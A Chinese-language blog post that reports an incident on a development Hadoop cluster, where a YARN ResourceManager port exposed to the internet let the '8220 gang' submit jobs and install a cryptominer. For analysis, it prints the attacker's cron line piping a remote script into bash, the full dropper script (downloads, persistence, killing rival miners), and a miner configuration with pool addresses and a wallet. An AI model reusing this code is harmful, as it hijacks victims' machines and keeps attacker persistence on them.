Yarn 问题发现与解决
问题发现
实际上是在写一个小东西的时候, 有一部分想看看 Kafka 的一些情况参考一下, 跑到开发集群上去看了看, 结果发现 Yarn 状态不对。 首先时看到 9 个 NodeManager 只有 1个是运行状态。 于是就遵循正常反应把这些宕掉的 NodeManager 起气来。 启动后, NodeManager 隔一会又宕机, 那就有些奇怪了。 于是去查看 Yarn 整个服务的状态:
- CUP 状态:
- 内存状态
- 当前 Yarn 的情况:
- 1 个 Task Queue
root.default
, 所有任务提交到root.default
队列 - 2 个 ResourceManager, 开启了 ResourceManager 的 HA
- 9 个 NodeManager
- 日志情况
- ResourceManager
日志中充满这种错误, 引起原因是任务提交错误。
ERROR metrics.SystemMetricsPublisher SystemMetricsPublisher.java:517 - Error when publishing entity [YARN_APPLICATION,application_1530068175881_82856], server side error code: 7
- NodeManager
大量 Job 错误日志
2019-01-14 16:53:39,178 WARN ipc.Client Client.java:886 - Failed to connect to server: master3.hadoop.ds.com/192.168.1.162:8031: retries get failed due to exceeded maximum allowed retries number: 0 java.net.ConnectException: Connection refused at sun.nio.ch.SocketChannelImpl.checkConnect(Native Method) at sun.nio.ch.SocketChannelImpl.finishConnect(SocketChannelImpl.java:717) at org.apache.hadoop.net.SocketIOWithTimeout.connect(SocketIOWithTimeout.java:206) at org.apache.hadoop.net.NetUtils.connect(NetUtils.java:531) at org.apache.hadoop.net.NetUtils.connect(NetUtils.java:495) at org.apache.hadoop.ipc.Client$Connection.setupConnection(Client.java:650) at org.apache.hadoop.ipc.Client$Connection.setupIOstreams(Client.java:745) at org.apache.hadoop.ipc.Client$Connection.access$3200(Client.java:397) at org.apache.hadoop.ipc.Client.getConnection(Client.java:1618) at org.apache.hadoop.ipc.Client.call(Client.java:1449) at org.apache.hadoop.ipc.Client.call(Client.java:1396) at org.apache.hadoop.ipc.ProtobufRpcEngine$Invoker.invoke(ProtobufRpcEngine.java:233) at com.sun.proxy.$Proxy83.nodeHeartbeat(Unknown Source) at org.apache.hadoop.yarn.server.api.impl.pb.client.ResourceTrackerPBClientImpl.nodeHeartbeat(ResourceTrackerPBClientImpl.java:80) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at org.apache.hadoop.io.retry.RetryInvocationHandler.invokeMethod(RetryInvocationHandler.java:278) at org.apache.hadoop.io.retry.RetryInvocationHandler.invoke(RetryInvocationHandler.java:194) at org.apache.hadoop.io.retry.RetryInvocationHandler.invoke(RetryInvocationHandler.java:176) at com.sun.proxy.$Proxy84.nodeHeartbeat(Unknown Source) at org.apache.hadoop.yarn.server.nodemanager.NodeStatusUpdaterImpl$1.run(NodeStatusUpdaterImpl.java:701) at java.lang.Thread.run(Thread.java:748)
- 当前情况说明
目前在开发集群中没有相关任务的提交, 严格来说, 从集群搭建好以后, 没有主动提交过任务, 包括 Hive 也没有使用。
但是集群中的任务情况如下:
在 root.default
队列已经有 20000 个正在等待的 task。
集群中无可用资源。
集群中有 9 个 Yarn Client, 可以提交任务, 同时可以通过 Spark, Hive 等提交任务。
问题排查
首先是查找这些 Task 的情况, 在 Yarn 的任务管理界面发现 ACCEPTED
状态的任务已经有 20000 个, 没有任何 Task 是 RUNNING
状态, 且优先级为 -1, 提交的用户为 Yarn。 同时查看任务情况, 任务提交日期为 230 天前。
查看有客户端的服务器, Yarn 的 history 为空, 即没有显式的提交任务。 这些任务是通过其他应用程序获取到 Yarn 用户的权限来提交。
由于 ACCEPTED
的 Task 较多, 将 Yarn 的 配置 disable, 重启 Yarn, 来释放所有任务, 重启 Yarn 服务后, 在启动后大概 1min 后, 开始有 Task 提交, 且申请的资源是从当前允许的最大资源量开始申请, 一直到最后申请的资源稳定到 2GB memory & 1 VCore。 刚重启后, 所有服务运行正常, 从第一个 Task 提交后, 开始有 NodeManager 宕掉, 分配一个任务到某个 NodeManager 后, 被分配任务的 NodeManager 宕掉。
发现Active ResourceManager的8088端口有异常 IP144.217.129.21
访问。 怀疑是由该 IP 提交的任务。 重启网络后, 在一段时间内不会新增任务, 配置访问 IP 限制, 限制了该网络后, 一段时间后, 有另一个异常 IP 与 Yarn 通信。 配置只有局域网可访问的情况下, 发现一个新的地址在访问 ResourceManager, 且仍然有任务在提交。 一段时间后(大概20min左右), 144.217.129.21
又重新开始访问 ResourceManager。联想到到被挖矿的案例。
这个集群从去年开始是由其他同学在维护,我被拉去做一些乱七八糟的事情,出现问题的时候有时候得去搭把手。然后不知道什么时候,有人把Yarn的8088端口映射到公网,而且映射端口号也是8088。能气死个人😡
附: ResourceManager REST API’s., 提交任务的 URL 为: http://<rm http address:port>/ws/v1/cluster/apps
解决方案
- 通过 Kerberos 验证用户。
- 集群内部互通, 公共环境访问受限或者完全限制, 通过内部服务向外提供受限制的访问或调用方式。
NodeManager 问题
在解决好非法任务提交的问题后, 发现 NodeManager 仍然无法启动。 日志中也没有异常, 唯一一个问题是: 通过 yarn 用户查看启动日志时, 总会莫名其妙的丢失连接。 尝试手动启动 Yarn NodeManager 总会出现被 killed 的情况。 猜测可能和 yarn 用户相关。 切换其他用户手动启动 Yarn NodeManager, 发现并没有被 killed 的情况,证明猜想。查看定时任务日志并检查有没有异常的定时任务, 发现大量异常日志, 日志内容如下(重复日志, 只取其中一条):
<time> worker1 CROND[25382]: (yarn) CMD (wget -q -O - http://158.69.133.18:8220/12.jpg | bash -sh > /dev/null 2>&1)
日志中的 http://158.69.133.18:8220/12.jpg
为一个脚本, download 下来, 该脚本内容为:
#!/bin/sh pkill -f 202.144.193.167 pkill -f /tmp/orgf pkill -f YB1.conf ps ax | grep -vw 'YB1.conf' | grep -v grep | awk '{print $1}' | xargs kill -9 pkill -f kkk1.conf pkill -f /var/tmp/look netstat -antp | grep '198.13.59.244' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 rm -rf /tmp/tmp.* netstat -antp | grep '127.0.0.1:1757' | grep 'LISTEN' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 pkill -f 111.73.46.172 pkill -f gg1.conf pkill -f orgfs pkill -f dd1.conf pkill -f 46.249.38.186 pid=$(cat /tmp/.tmp/bash.pid) kill $pid >/dev/null 2>&1 rm -rf /var/tmp/tmp.txt rm -rf /tmp/tmp.txt mkdir /var/tmp/tmp chmod 777 /var/tmp/tmp rm -rf /var/tmp/java rm -rf /var/tmp/ppl3 rm -rf /tmp/ppl3 rm -rf /tmp/java ps aux | grep -vE 'java|pscf|bin|usr' | awk '{if($3>20.0) print $2}' | while read procid do kill -9 $procid done ps -fe|grep -w pcp|grep -v grep if [ $? -eq 0 ] then pwd else curl -o /var/tmp/tmp/pcp http://158.69.133.18:8220/a.json curl -o /var/tmp/tmp/java http://158.69.133.18:8220/rig curl -o /var/tmp/tmp/run http://158.69.133.18:8220/run curl -o /var/tmp/tmp/a http://158.69.133.18:8220/a curl -o /var/tmp/tmp/b http://158.69.133.18:8220/b curl -o /var/tmp/tmp/e http://158.69.133.18:8220/e curl -o /var/tmp/tmp/qwefdas1 http://158.69.133.18:8220/qwefdas1 curl -o /var/tmp/tmp/ppq http://158.69.133.18:8220/ppq curl -o /var/tmp/tmp/1 http://158.69.133.18:8220/1 curl -o /var/tmp/tmp/h64 http://158.69.133.18:8220/h64 curl -o /var/tmp/tmp/u http://158.69.133.18:8220/u chmod 777 /var/tmp/tmp/run chmod 777 /var/tmp/tmp/a chmod 777 /var/tmp/tmp/b chmod 777 /var/tmp/tmp/qwefdas1 chmod 777 /var/tmp/tmp/ppq chmod 777 /var/tmp/tmp/1 chmod 777 /var/tmp/tmp/u chmod 777 /var/tmp/tmp/h64 chmod 777 /var/tmp/tmp/java cd /var/tmp/tmp ./run >/dev/null 2>&1 ./a >/dev/null 2>&1 ./b >/dev/null 2>&1 ./c >/dev/null 2>&1 ./e >/dev/null 2>&1 name=$(echo $RANDOM | md5sum | cut -c 5-10) fi sleep 3 ./$name rm -rf /var/tmp/tmp/run rm -rf /var/tmp/tmp/a rm -rf /var/tmp/tmp/b rm -rf /var/tmp/tmp/e rm -rf /var/tmp/tmp/pcp rm -rf /var/tmp/tmp/1 rm -rf /var/tmp/tmp/2 rm -rf /var/tmp/tmp/3 rm -rf /var/tmp/tmp/4 rm -rf /var/tmp/tmp/5 rm -rf /var/tmp/tmp/6 crontab -l | sed '/46.249.38.186/d' | crontab - crontab -l | sed '/192.99.55.69/d' | crontab - crontab -l | sed '/3389.space/d' | crontab - crontab -l | sed '/upd/d' | crontab - if crontab -l | grep -q "158.69.133.18:8220" then echo "Cron exists" else echo "Cron not found" LDR="wget -q -O -" if [ -s /usr/bin/curl ]; then LDR="curl"; fi if [ -s /usr/bin/wget ]; then LDR="wget -q -O -"; fi (crontab -l 2>/dev/null; echo "* * * * * $LDR http://158.69.133.18:8220/12.jpg | bash -sh > /dev/null 2>&1")| crontab - f158.69.133.18:8220/ nohup ./u >/dev/null & cp qwefdas1 $name chmod 777 $name ./&name disown ./&name screen -S 1 ./$name echo "runing....."
通过上面地址找到配置:
{ "algo": "cryptonight", "api": { "port": 0, "access-token": null, "id": null, "worker-id": null, "ipv6": false, "restricted": true }, "asm": true, "autosave": true, "av": 0, "background": true, "colors": true, "cpu-affinity": null, "cpu-priority": 5, "donate-level": 1, "huge-pages": true, "hw-aes": null, "log-file": null, "max-cpu-usage": 95, "pools": [ { "url": "158.69.133.18:80", "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg", "pass": "x", "rig-id": null, "nicehash": false, "keepalive": true, "variant": -1, "tls": false, "tls-fingerprint": null }, { "url": "192.99.142.249:3333", "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg", "pass": "x", "rig-id": null, "nicehash": false, "keepalive": true, "variant": -1, "tls": false, "tls-fingerprint": null }, { "url": "202.144.193.110:3333", "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg", "pass": "x", "rig-id": null, "nicehash": false, "keepalive": true, "variant": -1, "tls": false, "tls-fingerprint": null } ], "print-time": 60, "retries": 5, "retry-pause": 5, "safe": false, "threads": { "cn": [ { "low_power_mode": 1, "affine_to_cpu": false, "asm": true }, { "low_power_mode": 1, "affine_to_cpu": false, "asm": true } ], "cn-lite": [ { "low_power_mode": 1, "affine_to_cpu": false, "asm": true }, { "low_power_mode": 1, "affine_to_cpu": false, "asm": true } ], "cn-heavy": [ { "low_power_mode": 1, "affine_to_cpu": false, "asm": true }, { "low_power_mode": 1, "affine_to_cpu": false, "asm": true } ] }, "algo-perf": { "cn": 2.0, "cn/2": 2.0, "cn/msr": 2.0, "cn-lite": 2.0, "cn-heavy": 2.0 }, "calibrate-algo": false, "calibrate-algo-time": 10, "user-agent": null, "syslog": false, "watch": false }
http://158.69.133.18:8220/rig
和 http://158.69.133.18:8220/h64
的地址是一个可执行文件, http://158.69.133.18:8220/u
配置 crontab, http://158.69.133.18:8220/ppq
是启动脚本, http://158.69.133.18:8220/qwefdas1
脚本看内容是在配置什么东西, 其余的 URL 的脚本如下:
#!/bin/bash HIDE="/.tmp/java-" ./h64 -s $HIDE ./java -c pcp >>/dev/null &
没有检查到任何这几个文件相关的内容和相关进程, 同时也没找到被替换的系统指令, 可以认定隐患已经清除。
关于这次安全隐患, 主要来自 "8220团伙", 详细的说明可以参考以下文章:
低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
大规模Go项目几乎必踏的几个大坑 - 实例分享
2个月前开源了Dragonboat这个Go实现的高性能多组Raft共识库,它的一大卖点是其高吞吐性能,在使用内存内的状态机的场景下,能在三组单插服务器上达到千万每秒的吞吐性能。作为个人用Go写的第一个较大的应用库,Dragonboat的开发过程可谓踏坑无数,逐步才具备了目前的性能和可靠性。本文选取几个在各类Go项目中踏坑概率较高的具有普遍性的问题,以Dragonboat踏坑详细过程为背景,具体分享。 Channel的实现没有黑科技 虽然是最核心与基础的内建类型,chan的实现却真的没有黑科技,它的性能很普通。 在Dragonboat的旧版中,有大致入下的这样一段核心代码。它在有待处理的读写请求的时候,用以通知执行引擎。名为workReadyCh的channel系统中有很多个,执行引擎的每个worker一个,client用它来提供待处理请求的信息v。而考虑到该channel可能已满且等待的时候系统可能被关闭,一个全局唯一的用于表示系统已被要求关闭的channel会一起被select,用以接收系统关闭的通知。 select { case <-closeCh: return ca...
- 下一篇
深度解析vue组件之间通信【8种方式】实例
这篇文章主要介绍了vue组件之间通信方式,结合实例形式总结分析了vue.js的8种组件通信方式与相关操作注意事项,写的十分的全面细致,具有一定的参考价值,对此有需要的朋友可以参考学习下。如有不足之处,欢迎批评指正。 对于vue来说,组件之间的消息传递是非常重要的,下面是我对组件之间消息传递的各种方式的总结,总共有8种方式。 1. props和$emit 父组件向子组件传递数据是通过prop传递的,子组件传递数据给父组件是通过$emit触发事件来做到的。 Vue.component('child',{ data(){ return { mymessage:this.message } }, template:` <div> <input type="text" v-model="mymessage" @input="passData(mymessage)"> </div> `, props:['message'],//得到父组件传递过来的数据 methods:{ passData(val){ //触发父组件中的事件 this.$emit('getChi...
相关文章
文章评论
共有0条评论来说两句吧...